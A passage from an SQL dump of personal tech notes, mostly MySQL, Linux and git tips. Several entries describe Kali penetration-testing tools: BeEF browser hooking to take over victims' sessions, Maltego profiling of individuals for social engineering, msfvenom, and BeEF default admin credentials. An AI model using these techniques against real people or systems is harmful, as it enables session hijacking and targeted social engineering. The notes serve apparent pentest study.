\"your_email@youremail.com\"','2015-02-07 06:36:13'),(175,'#git #add #username #name #global',NULL,NULL,'git config --global user.name \"Firstname Lastname\"','2015-02-07 06:36:13'),(176,'#pentest #methodology#think_about','Definition of Target System(s)\n  the location on the network, types of systems, and business of those systems\n\nTimeframe of the testing\n  \nHow Targets Are Evaluated\n  What types of testing, exploitation are not permitted\n  Examples are; using social networking by pretending to be an employee\n\nTools and software\n\nnotified parties\n  may s1 should be informed about the test\n\nInitial Access Level\n  What type of information and access is provided prior to _kicking off_ the Penetration Test?\n\nDefinition of Target Space\n\nIdentification of Critical Operation Areas\n  which area should not be touched\n\nDeliverable:\n  What type of final report is expected?\n  Remediation expectations:\n\n',NULL,NULL,'2015-02-07 06:36:13'),(177,'#pastebinit #install',NULL,'apt-get install pastebinit',NULL,'2015-02-07 06:36:13'),(178,'#pastebinit #manual',NULL,'\npastebinit file00\nls -a | pastebinit\n  # do not do this next one: \n  # ls -a|pastebinit\n',NULL,'2015-02-07 06:36:13'),(179,'#kali #pentest -sec -introduction -basic -concepts -steps -reconnaissance -methodology','\nRegardless if the starting point is White, Black, or Gray box testing\n  there is a set of steps that should be followed \n\nReconnaissance\n  learn as much as possible about a target\'s environment\n  The more information you can identify about a target, the better chance you have to identify the easiest and fastest path to success.\n  Black box testing requires more reconnaissance than White box testing\n  can include researching a target\'s Internet footprint,\n\n  The deliverable of a reconnaissance assignment should include a list of all the assets being targeted\n\n  Kali Linux offers a category labeled Information Gathering that serves as a Reconnaissance resource\n  Tools include methods to research network, data center, wireless, and host systems\n\n  The following is the list of Reconnaissance goals:\n•	 Identify target(s)\n•	 Define applications and business use\n•	 Identify system types\n•	 Identify available ports\n•	 Identify running services\n•	 Passively social engineer information\n•	 Document findings\n\n\nTarget evaluation\n  next step is evaluating the target for vulnerabilities.\n\nExploitation\n  the hack\n\nPrivilege escalation\n  think about how to go higher in the hierarchy of the system\n\nMaintaining a foothold\n  think about how I could go back to this hacked_sys at next time\n\n\ndoing the report\n	write a report of your work\n',NULL,NULL,'2015-02-07 05:51:34'),(180,'#git #ssh #remote#repo',NULL,NULL,'\ncd ~/.ssh && ssh-keygen\n  to create a pub/private_ssh_key\ncat id_rsa.pub | xclip\n  or copy(ctrl_c) the public key created in ~/.ssh/\ngo in github.com, log_in\ngo to: settings(on right_up of ur profile)\n  ssh_key in the left_middle\n  click add_ssh_key\ncopy the id_rsa.pub \n  add title\n  copy it to key\n','2015-02-07 06:36:13'),(181,'#mysql #check #version',NULL,NULL,'mysql -h localhost -V\n  -h to determine the host\n  -V to tell that u want the version \n\n\ninside mysql\n	show variable like \'*version*\';\n	select version() ;\n','2015-02-07 06:36:13'),(182,'#kali #methodology #hack #steps #exo #phase #tool#category','\nreconnaissance\n  information gathering:\n    Tools range from identifying devices to protocols used\n  sniffing_spoofing tools\n\ntarget vulnerabilities\n  Vulnerability Analysis: \n\nexploitation\n  Web Applications\n  password attacks\n  exploitation tools\n\nescalading the hierarchy\n  password attacks\nfootholding\nreport\n\nnot yet done\n',NULL,NULL,'2015-02-07 06:36:13'),(183,'#irc #connect #server #freenode #irssi',NULL,'/connect irc.freenode.net',NULL,'2015-02-07 06:36:13'),(184,'#conky #intro #monit#sys #linux',NULL,NULL,'surveiller de nombreux paramètres systèmes (charge processeur, occupation mémoire, températures, vitesse ventilateurs, charge batterie, trafic réseau). ','2015-02-07 06:36:13'),(185,'#linux #bash #test#existance#folder #file #if',NULL,'test -e /path/file00 && echo \'file is there\' || echo \'missing file\'',NULL,'2015-02-07 06:36:13'),(186,'#pentest #sow #methodology','\nBefore you offer Penetration services, write a sow(statement of work)\n  will outlines the work you are going to perform \n',NULL,NULL,'2015-02-07 06:36:13'),(187,'#dradis #kali #intro #tool','Dradis is an open source framework for information _sharing_.\nDradis provides a centralized repository of information to keep track of:\n  what has been done and\n  still needs to be completed\n\nu can access dradis by running\n  dradis\n  and check at https://127.0.0.1:3004/\n\nfirstime u run dradis,\n  set up a passw for user::root\n',NULL,NULL,'2015-01-14 07:20:43'),(188,'default#port',NULL,NULL,'\nfrom: http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-en-4/ch-ports.html\n\n\nif not mentioned, then it can use udp and tcp \n\ndradis:127.0.0.1:3004\n13 	daytime 	Sends date and time to requesting host \n20 	ftp-data 	FTP data port \n21 	ftp 		File Transfer Protocol (FTP) port; sometimes used by File Service Protocol (FSP) \n22 	ssh 		Secure Shell (SSH) service \n23 	telnet 	The Telnet service\n25 	smtp 	Simple Mail Transfer Protocol (SMTP) \n42 	nameserver 	Internet Name Service \n43 	nicname 	WHOIS directory service \n49 	tacacs 	Terminal Access Controller Access Control System for TCP/IP based authentication and access \n53 	domain 	domain name services (such as BIND) \n63 	whois++ 	WHOIS++, extended WHOIS services \n69 	tftp 	Trivial File Transfer Protocol (TFTP) \n80 	http 	HyperText Transfer Protocol (HTTP) for World Wide Web (WWW) services\n88 	kerberos 	Kerberos network authentication system \n107 	rtelnet 	Remote Telnet \n109 	pop2 	Post Office Protocol version 2\n110 	pop3 	Post Office Protocol version 3 \n115 	sftp 	Secure File Transfer Protocol (SFTP) services \n123 	ntp 	Network Time Protocol (NTP) \n137 	netbios-ns 	NETBIOS Name Service used in Red Hat Enterprise Linux by Samba \n143 	imap 	Internet Message Access Protocol (IMAP)\n161 	snmp 	Simple Network Management Protocol (SNMP) \n174 	mailq 	MAILQ email transport queue \n194 	irc 	Internet Relay Chat (IRC) \n213 	ipx 	Internetwork Packet Exchange (IPX), a datagram protocol commonly used in Novell Netware environments\n220 	imap3 	Internet Message Access Protocol version 3 \n389 	ldap 	Lightweight Directory Access Protocol (LDAP) \n443 	https 	Secure Hypertext Transfer Protocol (HTTP) \n546 	dhcpv6-client 	Dynamic Host Configuration Protocol (DHCP) version 6 client\n547 	dhcpv6-server 	Dynamic Host Configuration Protocol (DHCP) version 6 Service \n565 	whoami 	whoami user ID listing \n631 	ipp 	Internet Printing Protocol (IPP) \n636 	ldaps 	Lightweight Directory Access Protocol over Secure Sockets Layer (LDAPS) \n873 	rsync 	rsync file transfer services \n992 	telnets 	Telnet over Secure Sockets Layer (TelnetS) \n993 	imaps 	Internet Message Access Protocol over Secure Sockets Layer (IMAPS) \n994 	ircs 	Internet Relay Chat over Secure Sockets Layer (IRCS) \n995 	pop3s 	Post Office Protocol version 3 over Secure Sockets Layer (POP3S) \ndradis:127.0.0.1:3004\n3306 	mysql 	MySQL database service \n\n15/tcp 	netstat 	Network Status (netstat) \n\ncheck more at: http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-en-4/ch-ports.html\n','2015-02-07 06:36:13'),(189,'socket','combination of software Port and IP address',NULL,NULL,'2015-02-07 06:36:13'),(190,'#ports #well-known #assigned #default ','Well known ports are from 0 to 1023(total 2^10=1024 ports)\nDefault port is a designated port for particular well-known service such as web server, mail server, ftp server etc. By default FTP uses 21 port, DNS uses 53 and Apache uses 80 port',NULL,NULL,'2015-02-07 06:36:13'),(191,'#protocol_number #prot_nb #number','Do not confuse protocol_number with port numbers\n   TCP protocol number:6\n   UDP protocol number:17 \n',NULL,NULL,'2015-02-07 06:36:13'),(192,'#port #samba','199',NULL,NULL,'2015-02-07 06:36:13'),(193,'#port #pop3s','995',NULL,NULL,'2015-02-07 06:36:13'),(194,'NFS(nfsd- rpc.nfsd- rpc- portmap)','2049',NULL,NULL,'2015-02-22 11:03:26'),(195,'#linux -ls -get-size *awk',NULL,'ls -nlh file00 | awk \'{print $5}\'',NULL,'2015-02-16 18:19:09'),(196,'#casefile #maltego #info#gathering #intro','to determine the relationships and real world links between hundreds of different types of information.\ncan be used in information gathering\n',NULL,NULL,'2015-01-21 03:09:07'),(197,'#casefile #maltego #info#gathering #execution#kali #tool','casefile\n  for casefile\n\nmaltego\n  for maltego',NULL,NULL,'2015-01-21 03:12:37'),(198,'#magictree #report #execution#kali #tool',NULL,NULL,'\nMagicTree is a Penetration Tester productivity tool designed for data consolidation, external command execution, and report generation\n','2015-01-14 07:20:43'),(199,'#mysql #create#user',NULL,NULL,'\nCREATE USER \'max\'@\'localhost\' IDENTIFIED BY \'maxisthebest\';\n  max peut se connecter au_a partir du localhost(l_ordi qui possede mysql)\nCREATE USER \'elodie\'@\'194.28.12.4\' IDENTIFIED BY \'ginko1\';\n  elodie ne peut pas se connecter sur localhost si @localhost diff de 194.28.12.4\nCREATE USER \'gabriel\'@\'arb.brab.net\' IDENTIFIED BY \'chinypower\';\n  a partir d_un @dns\nCREATE USER \'thibault\'@\'194.28.12.%\' IDENTIFIED BY \'basketball8\';\n  peut se connecter sur 194.168.12.2-3-4-....\nCREATE USER \'hannah\'@\'%\' IDENTIFIED BY \'looking4sun\';\n  peut se connecter a partir de _tout_ machine\n','2015-02-07 06:36:13'),(200,'#mysql #rename#user',NULL,NULL,'rename user \'user00\'@\'host00\' to \'user01\'@\'host01\' ;\n','2015-02-07 06:36:13'),(201,'#mysql #change#pass from#root #pwd #password',NULL,NULL,'set password for \'user00\'@\'192.164.1.%\' = password(\'pass00\') ;\n','2015-02-07 06:36:13'),(202,'#mysql #privilege #intro',NULL,NULL,'\nau debut, user00 sans privilege donc peut _rien_(select, insert, ...) faire, se connecte selmnt\n','2015-02-07 06:36:13'),(203,'#mysql #privilege #exemple',NULL,NULL,'\nGRANT SELECT,\n	UPDATE (nom, sexe, commentaires),\n	DELETE,\n	INSERT\nON elevage.Animal\nTO \'john\'@\'localhost\' IDENTIFIED BY \'exemple2012\';\n	action de john sur db(elevage)table(animal): \n		tt selecter\n		updater(nom, sexe, commentaires)\n		tt delete\n		tt insert\n','2015-02-07 06:36:13'),(204,'#mysql #privilege #exemple',NULL,NULL,'\ngrant all on table db00.* to \'user00\'@\'192.168.1.%\' identified by \'pass00\'\n','2015-02-07 06:36:13'),(205,'#mysql #date #now',NULL,NULL,'\nselect curdate() ;\nselect current_date() ;\nselect now() ;\nselect current_date ;\nselect curtime();\n\nselect now();\n  ret datetime\nselect date(now());\nselect time(now());\nselect day(now());\n  1 - 31\nselect dayofweek(now());\n  1 - 7\n  1: sunday\n  2: monday\n  6: friday\n  7: saturday\nselect weekday(now()) ;\n  0 - 6\n  0: sunday\n  1: mon\n  7: sunday\nselect dayname(now());\n  ret sunday | monday | ...\nselect dayofyear(now());\n  ret 1 - 366\n','2015-02-07 06:36:13'),(206,'#mysql #time #lang #langue #language',NULL,NULL,'\nset lc_time_names=\'fr_FR\'\n','2015-02-07 06:36:13'),(207,'#mysql #date #more_options #month',NULL,NULL,'\nselect monthname(now());\nselect year(now());\n\nselect hour(now());\nselect minute(now());\nselect second(now());\n\n','2015-02-07 06:36:13'),(208,'#mysql #date_format #format',NULL,NULL,'\nselect date_format(now(), \'le %W %e %M %Y\') ;\n	le Dimanche 16 Fevrier 2014\n  	%d Jour du mois (nombre à deux chiffres, de 00 à 31)\n	%W Nom du jour de la semaine\n	%a Nom du jour de la semaine en abrégé\n	%m Mois (nombre de deux chiffres, de 00 à 12)\n	%c Mois (nombre de un ou deux chiffres, de 0 à 12)\n	%M Nom du mois\n	%b Nom du mois en abrégé\n	%Y Année, sur quatre chiffres\n	%r Heure complète, format 12h (hh:mm:ss AM/PM)\n	%T Heure complète, format 24h (hh:mm:ss)\n	%H Heure sur deux chiffres et sur 24 heures (de 00 à 23)\n	%i Minutes (de 00 à 59)\n	%e Jour du mois (nombre à un ou deux chiffres, de 0 à 31)\n	%p AM/PM\n','2015-02-07 06:36:13'),(209,'#mysql #str_to_date #get_format',NULL,NULL,'\n\nSELECT STR_TO_DATE(\'11.21.2011\', GET_FORMAT(DATE, \'USA\')) ;\n  11.21.2011 is a date the get_format(date, ...)\n','2015-02-07 06:36:13'),(210,'#mysql #datediff #difference #date',NULL,NULL,'\nSELECT DATEDIFF(\'2011-12-25\',\'2011-11-10\') AS nb_jours;\n  out: 45','2015-02-07 06:36:13'),(211,'#mysql #timediff #difference #time',NULL,NULL,'\nSELECT TIMEDIFF(\'2011-12-25 21:34:55\',\'2011-11-10 04:54:44\') AS difftime;\n  out: 20:35:20','2015-02-07 06:36:13'),(212,'#mysql #date #interval',NULL,NULL,'\nselect now() + interval 4 day;\ninsert into table00(col00) values (now() + interval 4 day) ;\n\nselect now() + interval 4 hour;\nselect now() + interval 4 minute;\nselect now() + interval 4 month;\nselect now() + interval 4 year;\n\nremember that there is no \"s\" in:\n  hour\n  minute\n  month\n  ... ','2015-01-30 20:38:41'),(213,'#mysql #show#procedure',NULL,'SHOW PROCEDURE STATUS;',NULL,'2015-02-07 06:36:13'),(214,'#mysql #show#function',NULL,'SHOW FUNCTION STATUS;',NULL,'2015-02-07 06:36:13'),(215,'#mysql #drop#procedure #delete',NULL,NULL,'drop procedure if exists proc00\n  do not forget the \"s\" in \"if exists\"','2015-01-17 10:07:59'),(216,'#mysql #drop#function #delete',NULL,NULL,'drop function if exists\n  do not forget the \"s\" in \"if exists\"','2015-02-07 06:36:13'),(217,'#mysql #create#procedure #tip','do not do the creation of a procedure inside \\e of mysql',NULL,NULL,'2015-02-07 06:36:13'),(218,'#mysql #inquery #table #notes_tech',NULL,NULL,'select id_n_t, tiitle from notes_tech where tiitle like \'%mysql%\' and tiitle like \'%procedure%\' G','2015-02-07 06:36:13'),(219,'#mysql #show#db#all',NULL,'show databases;',NULL,'2015-02-07 06:36:13'),(220,'#mysql #show#table#all',NULL,'show tables;',NULL,'2015-02-07 06:36:13'),(221,'#mysql #timestamp #convert to#datetime #from_unixtime',NULL,NULL,'SELECT FROM_UNIXTIME(1325595287)','2015-02-07 06:36:13'),(222,'#firefox #addons #ads #adblock_edge','Adblock Edge is a fork of the Adblock Plus version 2.1.2 extension for blocking advertisements on the web.',NULL,NULL,'2015-02-07 06:36:13'),(223,'#mysql #datetime#convert_to#timestamp #from_unixtime #unix_timestamp',NULL,NULL,'SELECT UNIX_TIMESTAMP(\'2012-01-03 13:54:47\');\n','2015-02-07 06:36:13'),(224,'#mysql #convert#time#second #time_to_sec #sec_to_time',NULL,NULL,'select SEC_TO_TIME(102569), TIME_TO_SEC(\'01:00:30\');\n','2015-02-07 06:36:13'),(225,'#mysql #last #day#month',NULL,NULL,'select last_day(\'2012-02-03\'','2015-02-07 06:36:13'),(226,'#mysql #show#create#table',NULL,NULL,'show create table table00;\n  that_s show the cmd used to create the table00','2015-02-07 06:36:13'),(227,'#mysql #create#view',NULL,'create view v_name_view as select * from notes_tech where tiitle like \'%mysql%\'',NULL,'2015-02-03 14:03:59'),(228,'#mysql #create#view #replace',NULL,'create view or replace v_name_view as select * from notes_tech where tiitle like \'%mysql%\'',NULL,'2015-02-07 06:36:13'),(229,'#mysql #drop#view #delete',NULL,'drop view view00',NULL,'2015-02-07 06:36:13'),(230,'#mysql #show#view #list #all',NULL,'SHOW FULL TABLES IN db00 WHERE TABLE_TYPE LIKE \'VIEW\';',NULL,'2015-02-07 06:36:13'),(231,'#mysql #distinct',NULL,'select distinct col00 from table00 ;',NULL,'2015-02-07 06:36:13'),(232,'test',NULL,NULL,NULL,'2015-01-13 07:22:03'),(233,'#mysql #order_of#order_by#limit#offset','already in col::tiitle',NULL,NULL,'2015-01-13 07:36:28'),(234,'#mysql #select #where #like #elargir #extend',NULL,NULL,'\nselect * from table00 where col00 like \'%patt00%\';\n  -- then all lines with col00 in (xxxpatt00xxx) will be selected\n\nselect * from table00 where col00 like \'%patt00%patt01\';\n  -- then all lines with col00 in (xxxpatt00xxxpatt01) will be selected\n\nselect * from table00 where col00 like \'_patt00_\';\n  -- then all lines with col00 in (xpatt00x) will be selected\n  -- only one char\n\nselect * from table00 where col00 like \'_patt00_patt01\';\n  -- then all lines with col00 in (xpatt00Xpatt02) will be selected\n\n','2015-01-13 07:41:19'),(235,'#mysql #create#procedure #tip',NULL,NULL,'\ndelimiter |\ncreate procedure srch_table_name (in patt varchar(50)) \nbegin \n	set @real_patt=concat(\'%\', patt, \'%\'); \n		-- u shouldn\'t add \'\' inside the real_patt\n		-- this next one is wrong \n		-- set @real_patt=concat(\'\\\'%\', patt, \'%\\\'\');\n	select * from engl where keey like @real_patt ; \nend|\ndelimiter ;\n','2015-01-13 07:33:44'),(236,'#mysql #select #between #date #and',NULL,NULL,'\nSELECT * FROM table00 WHERE col00 BETWEEN \'2008-01-05\' AND \'2009-03-23\';\n','2015-01-13 07:53:10'),(237,'#mysql #sensitive#case #casse#sensible #select',NULL,NULL,'\nselect * from table00 where col00 like binary \'%patt00%\';\n','2015-01-13 07:49:27'),(238,'#mysql #not_like #like #select',NULL,NULL,'\nselect * from table00 where col00 not like \'%patt00%\';\n  it will select all lines _NOT_ containing patt00 in col00\n','2015-01-13 07:50:18'),(239,'#mysql #count #like #select',NULL,NULL,'\nselect count(id_n_t) from notes_tech where tiitle like \'%patt00%\'\n  it will count all lines which contains patt00\n','2015-01-13 07:56:27'),(240,'#mysql #select #in',NULL,NULL,'\nselect count(id_n_t) from notes_tech where col00 in (7, 1, 56, 74, 3);\n  it will pick lines with col00=7 1 56 ...\n','2015-01-13 07:58:13'),(241,'#mysql #dump #mysqldump #save#db',NULL,NULL,'\nmysqldump -u user00 -p --opt base00 > save00.sql # this is a cmd_linux\n  --opt		then the cmd is very fast to exe\n\nUSE nom_base;\nsource file00.sql;\n	# those prev 2 cmd are mysql_cmd, inside: mysql>\n# ifk, u should be in folder00 where file00.sql is in\n','2015-01-13 08:03:25'),(242,'#mysql #dump #restore#db',NULL,NULL,'\nmysql db00 < file00.sql # this is a cmd_linux\n','2015-01-13 08:05:39'),(243,'#mysql #conf #order','\nlinux\n	/etc/my.cnf\n	/etc/mysql/my.cnf\n	~/.my.cnf\nwindows\n	WINDIRmy.ini, \n	WINDIRmy.cnf \n		echo %WINDIR% # to check what is WINDIR\n	-\n	C:my.ini ou C:my.cnf \n	-\n	INSTALLDIRmy.ini \n	ou \n	INSTALLDIRmy.cnf \n		INSTALLDIR est le dossier dans lequel MySQL a été installé.\n',NULL,NULL,'2015-01-13 08:37:15'),(244,'#mysql #create#table #insert#default#timestamp #datetime',NULL,NULL,'\ncreate table table00 (\n...\ncol00 timestamp default current_timestamp on update current_timestamp ;\n...\n','2015-02-18 19:48:18'),(245,'#mysql #trigger #intro',NULL,NULL,'\nAttachés à une table00\nil y a des instructions qui s\'exe tout seul qud:	\n	faire insert\n	faire update\n	faire delete\nsur table00\n\n__warning__: \nresult of select_query inside trigger00 must be set into var00 -- ex select * from table00; is not allowed\n  but this next_one is allowed:\n    select col00 into var00 from table00;\n\none event(ex: after insert on table00) for one trigger','2015-01-17 12:37:27'),(246,'#mysql #create#trigger #intro',NULL,NULL,'\ndelimiter |\nCREATE TRIGGER trigger00 \n[ after|before ] \n[ insert|update|delete ]\nON table00 FOR EACH ROW\nbegin\n...\nend |\ndelimiter ;\n\nex:\ndelimiter |\ncreate trigger after_insert_table00 after insert on table00 for each row\nbegin\n...\nend\n|\ndelimiter ;\n','2015-01-13 10:27:18'),(247,'#mysql #create#trigger #old #new',NULL,NULL,'\nOLD : représente les valeurs des colonnes de la ligne traitée avant qu\'elle ne soit modifiée par l\'événement déclencheur.\nNEW : représente les valeurs des colonnes de la ligne traitée après qu\'elle a été modifiée par l\'événement déclencheur.\n\n','2015-01-13 11:11:34'),(248,'#exe#linux#cmd_from#mysql',NULL,'mysql> \\! cmd_lin',NULL,'2015-01-13 12:38:45'),(249,'#col',NULL,'val',NULL,'2015-01-13 12:45:03'),(250,'#mysql #show#procedure#definition',NULL,'show create procedure proc00',NULL,'2015-01-13 12:55:10'),(251,'#mysql #warning no#apostrophe #procedure',NULL,NULL,'\ndelimiter |\ncreate procedure ins_nt_t_c(in tiitle00 text, in cmd00 text ) begin insert into notes_tech (tiitle, cmd) values (tiitle00, cmd00); end  \ndelimiter ;\n','2015-01-13 12:53:50'),(252,'#mysql #sum #select',NULL,NULL,'\nselect sum(col_int) from table00;','2015-01-13 13:04:08'),(253,'#mysql #index#add #alter',NULL,NULL,'alter table table00 add index (col00)\nalter table table00 add index ind_name(col00)','2015-01-13 13:11:33'),(254,'#mysql #index#drop #alter',NULL,NULL,'alter table table00 drop index (col00)\nalter table table00 drop index ind_name(col00)','2015-01-13 13:13:54'),(255,'#mysql #unique #alter',NULL,NULL,'alter table table00 add unique (col00)','2015-01-13 13:17:04'),(256,'#mysql #fulltext #index #intro #basis #theory','only in tables with engine_myisam\nindex to be applied only in col:varchar, char, text\n\nLorsque vous faites une recherche FULLTEXT sur une chaîne de caractères, cette chaîne est découpée en mots\nmot = toute suite de caractères composée de lettres, chiffres, tirets bas _ et apostrophes\n  porte-clees = 2mots\n\nsi col00 est index(fulltext)\n	table00 doit avoir au moins 3lg\n	faire rech dans col00, alors:\n	  les mots trop courts (moins de quatre lettres) sont ignorés ;\n	  et les mots trop communs (en anglais, about, after, once, under, the...) ne sont également pas pris en compte.\n\nil y a 3 types de _recherche_ pour les col_ind_fulltext:\n	Recherche naturelle\n		un seule coincide, et hop, dans resultat\n		#mysql #fulltext #index #select #match#against #in#natural#language#mode\n	Recherche avec booléens\n		not yet done\n	Recherche avec extension de requête\n\nnot yet done\n',NULL,NULL,'2015-01-13 13:58:26'),(257,'#mysql #alter#table #change#engine',NULL,NULL,'alter table table00 engine = myisam','2015-01-13 15:20:39'),(258,'#mysql #query #replace_in#string',NULL,NULL,'UPDATE table00 SET col00 = REPLACE (col00, \'SearchForThis\', \'ReplaceWithThis\') where id_col > 1','2015-01-13 15:25:18'),(259,'#mysql #show#index #list #all',NULL,NULL,'show index from table00;','2015-01-13 15:27:33'),(260,'#mysql #check#status',NULL,NULL,'mysql> status','2015-01-13 15:30:13'),(261,'#mysql #create#table #fk #foreign#key #jointure',NULL,NULL,'\nto make in relation table00 and table01\n\ncreate table table00(\n...\nconstraint foreign key(col_in_table00) references table01(col_in_table01)\n...\n);\n #relation','2015-01-13 17:24:42'),(262,'#mysql #select #jointure #relation',NULL,NULL,'\nrelation:\n	table00(col00) to table01(col00)\n\nselect * from table00 inner join table01 on table00.col00=table01.col00 where table00.col00a=34;\n','2015-01-13 17:31:59'),(263,'#mysql #select #jointure #interne#externe #basic #theory',NULL,NULL,'\nSELECT * FROM A INNER JOIN B ON A.a = B.b\nCeci retournera uniquement les lignes pour lesquelles A.a et B.b correspondent.\n\nexterne, comme interne mais:\n  	permet de sélectionner également les lignes pour lesquelles il n\'y a pas de correspondance dans une des tables jointes\n	deux types de jointures externes \n		jointures par la gauche \n			par: LEFT JOIN ou LEFT OUTER JOIN\n			on veut toutes les lignes de la table de gauche \n				même si certaines n\'ont pas de correspondance avec une ligne de la table de droite\n\n		jointures par la droite \n\n	evince -p 104 464494-administrez-vos-bases-de-donnees-avec-mysql.pdf\n','2015-01-13 19:24:59'),(264,'#vimperator #basic #tab #next#prev',NULL,NULL,'gt: got to next\ngT: go to prev tab','2015-01-14 06:11:04'),(265,'#vimperator #basic #history #next#prev',NULL,NULL,'<C-o>: go back in the history of the curr_tab\n<C-i>: go forward in the history of the current_tab','2015-01-14 06:15:15'),(266,'#vimperator #basic #open#url in #other_tab',NULL,NULL,':tabopen url.com\nOR\nturl.com','2015-01-14 06:17:36'),(267,'#vimperator #basic #open#url in #current_tab',NULL,NULL,':open url.com\nOR\nourl.com','2015-01-14 06:16:55'),(268,'#webcam #block #modprobe',NULL,NULL,'modprobe -r uvcvideo\n  -r is used to remove the module\n  the module name is \"uvcvideo\",\n  modprobe -a uvcvideo \"to add the module\"','2015-01-19 18:59:39'),(269,'#webcam #block #modprobe',NULL,NULL,'\nedit:/etc/modprobe.d/blacklist.conf\nadd:\n  blacklist uvcvideo\n\nhttp://askubuntu.com/questions/166809/how-can-i-disable-my-webcam\nhttps://answers.yahoo.com/question/index?qid=20120727182612AAfYgGs','2015-01-19 18:59:39'),(270,'#linux #add#remove#module #modprobe #charge#decharge',NULL,NULL,'\nmodprobe -a mod00\n  to add it\nmodprobe -r mod00\n  to rm it\n\nto rm it permanently\n  vi /etc/modprobe.d/blacklist.conf\n  add:\n    blacklist uvcvideo\n','2015-01-14 10:18:38'),(271,'#kali #waybackmachine #methodology #robot #site#info#gathering','\nsite00.com/robots.txt\n  will show what are disallowed for visiting\n\nto get how looked like the site00.com many years before:\nto see the evolution of the site00.com\n	got at \n		www.archive.org\n		https://web.archive.org/web/*/http://www.site00.com\n',NULL,NULL,'2015-01-14 10:54:58'),(272,'#tuto #info#gathering #byme','\ntake a website: site00.com\n	ping www.site00.com\n		to get the ip00 of site00.com\n	whois ip00\n		to get many info about site00.com\n #warning: this next one is to not do:\n  whois www.site00.com',NULL,NULL,'2015-01-14 11:43:47'),(273,'#myip',' 41.204.110.74',NULL,NULL,'2015-01-14 11:45:20'),(274,'#myip by#arin.net',' 41.204.110.74',NULL,NULL,'2015-01-14 11:46:34'),(275,'#tool #sec #payant #linux #kali #pentest #nessus not#free','\nnessus est un outil de sécurité informatique.\n	signale les faiblesses potentielles ou avérées du matériel testé (machines, équipement réseau).\n	capable de scanner un équipement (machine ou matériel réseau), un ensemble d\'équipements (à partir d\'un fichier ou d\'une plage IP) ou encore un réseau entier.\n 	Le résultat du scan fournira :\n 		la liste des vulnérabilités par niveaux de criticité,\n		une description des vulnérabilités,\n		et surtout la méthode ou un lien pour solutionner le problème.\n	\n	  	/srv/mmedia/pic/Nessus-Google-Chrome_2012-03-20_19-01-57.png \n    (http://www.nessus.org/download/). ',NULL,NULL,'2015-01-14 12:11:22'),(276,'#tool #kali #pentest #maltego','Maltego can comb popular social media, public records, and job recruiting websites to fingerprint an individual based on limited information\n',NULL,NULL,'2015-01-14 12:21:21'),(277,'#tool #kali #pentest #maltego #methodology','Maltego can comb popular social media, public records, and job recruiting websites to fingerprint an individual based on limited information\n  A researcher could gather information such as everywhere an individual has lived,\n	one business, people with which they socialize, special interests, favorite sport\nteams, and other useful data for future research and social engineering attack',NULL,NULL,'2015-01-14 12:23:41'),(278,'#beef #tool #kali #intro #pentest','\nBeEF is a browser-based exploit package that \"hooks\" one or more\n	browsers as beachheads for launching attacks. A user can be hooked by accessing a\n	customized URL and continue to see typical web traffic, while an attacker has access\n	to the user\'s session.\n\n',NULL,NULL,'2015-01-14 12:51:37'),(279,'#beef #tool #kali #intro #pentest','ifk: beef is useful while pentester has access to the user_s session',NULL,NULL,'2015-01-14 12:52:06'),(280,'#beef #tool #kali #intro #pentest','BeEF bypasses network security appliances and host–based, anti-virus applications by targeting the vulnerabilities found in common browsers, such as ff and ie',NULL,NULL,'2015-01-14 12:53:56'),(281,'#kali #tool #beef #run#server #tuto','\ncd /usr/share/beef-xss\n./beef\n',NULL,NULL,'2015-01-14 13:28:54'),(282,'#kali #tool #beef #methodology','\nu need to redirect the victim into ur beef_url_hook(in_running_server: http://127.0.0.1:3000/hook.js) \n',NULL,NULL,'2015-01-14 13:07:08'),(283,'#kali #tool #panel #admin#beef #run #tuto','\nafter running the server of beef, \nu need to go in interface_ui|web_admin of beef:\n	go at: http://127.0.0.1:3000/ui/panel\n		which u see in the terminal of running of beef_server\n	\n	in the first time of connection to server_beef:\n		username: beef\n		password: beef\n',NULL,NULL,'2015-01-14 13:21:51'),(284,'#burp #kali #methodology #tool','\nBurp Proxy is a tool that intercepts HTTP and HTTPS traffic. It allows a Penetration\nTester to examine an application, its vulnerabilities, and the two-way traffic between\na client and a web server. Burp Proxy is very popular because of its ability to not\nonly examine the traffic, but also, it manipulates requests\n\nWhen a user enters a URL in their web browser such as http://www.DrChaos.com, \nthey expect to be directed to the website. A proxy server will\nintercept that request and send it on behalf of a client\n\n',NULL,NULL,'2015-01-14 14:04:42'),(285,'#mysql #change #column#order',NULL,NULL,'ALTER TABLE table00 CHANGE COLUMN col00 col00 VARCHAR(50) AFTER col01;\n  then col00 will be placed after col01\n  note thate there is no before col00\n','2015-01-14 15:16:19'),(286,'potatoes',NULL,NULL,NULL,'2015-01-14 15:30:55'),(287,'does_it work?',NULL,NULL,NULL,'2015-01-14 15:40:21'),(288,'#mysql #had#issue #tuto','\ni removed a column which is a key\ni set it back but the place of that new_col is in the bottom\n\nsolution:\n=====================================\ni removed totally col00\ni recreate it but no auto_increment and not a key\ni set its place in the head of all col by:\n  ALTER TABLE Employees CHANGE COLUMN col00 col00 VARCHAR(50) AFTER first_col;\n  	there is no: before first_col;\n  ALTER TABLE table00 CHANGE COLUMN first_col first_col VARCHAR(50) AFTER col00;\n  	now col00 is the first of all columns\nadd the fact that col00 is an auto_increment and a primary key by:\n  alter table table00 change col00 col00 int(5) auto_increment key;\n\nand it\'s done\n',NULL,NULL,'2015-01-14 15:40:48'),(289,'#tool#kali #msfvenom #intro','msfvenom is a combination of Msfpayload and Msfencode, putting both of these tools into a single framework instance. The advantages of msfvenom are:\n    One single tool\n	    Standardized command line options\n		Increased speed\n\nMsfvenom has a wide range of options available:\n	msfvenom -h',NULL,NULL,'2015-01-14 18:37:18'),(290,'#update_for#locate #linux',NULL,'updatedb # this is a linux cmd',NULL,'2015-01-14 18:57:08'),(291,'#irc #server','irc.freenode.net',NULL,NULL,'2015-01-14 20:07:02'),(292,'#irc #server','irc.idlemonkeys.net',NULL,NULL,'2015-01-14 20:07:50'),(293,'#irc #idlemonkeys #chan','canyouhack.it',NULL,NULL,'2015-01-14 20:08:46'),(294,'#irc #freenode #chan','#kali-linux',NULL,NULL,'2015-01-14 20:13:50'),(295,'#irc #freenode #chan','#kali-fr',NULL,NULL,'2015-01-14 20:13:50'),(296,'#irc #freenode #chan','#mysql',NULL,NULL,'2015-01-14 20:13:50'),(297,'#irc #freenode #chan','#linux',NULL,NULL,'2015-01-14 20:13:50'),(299,'#irc #freenode #chan','#debian-facile',NULL,NULL,'2015-01-14 20:16:18'),(300,'#irc #freenode 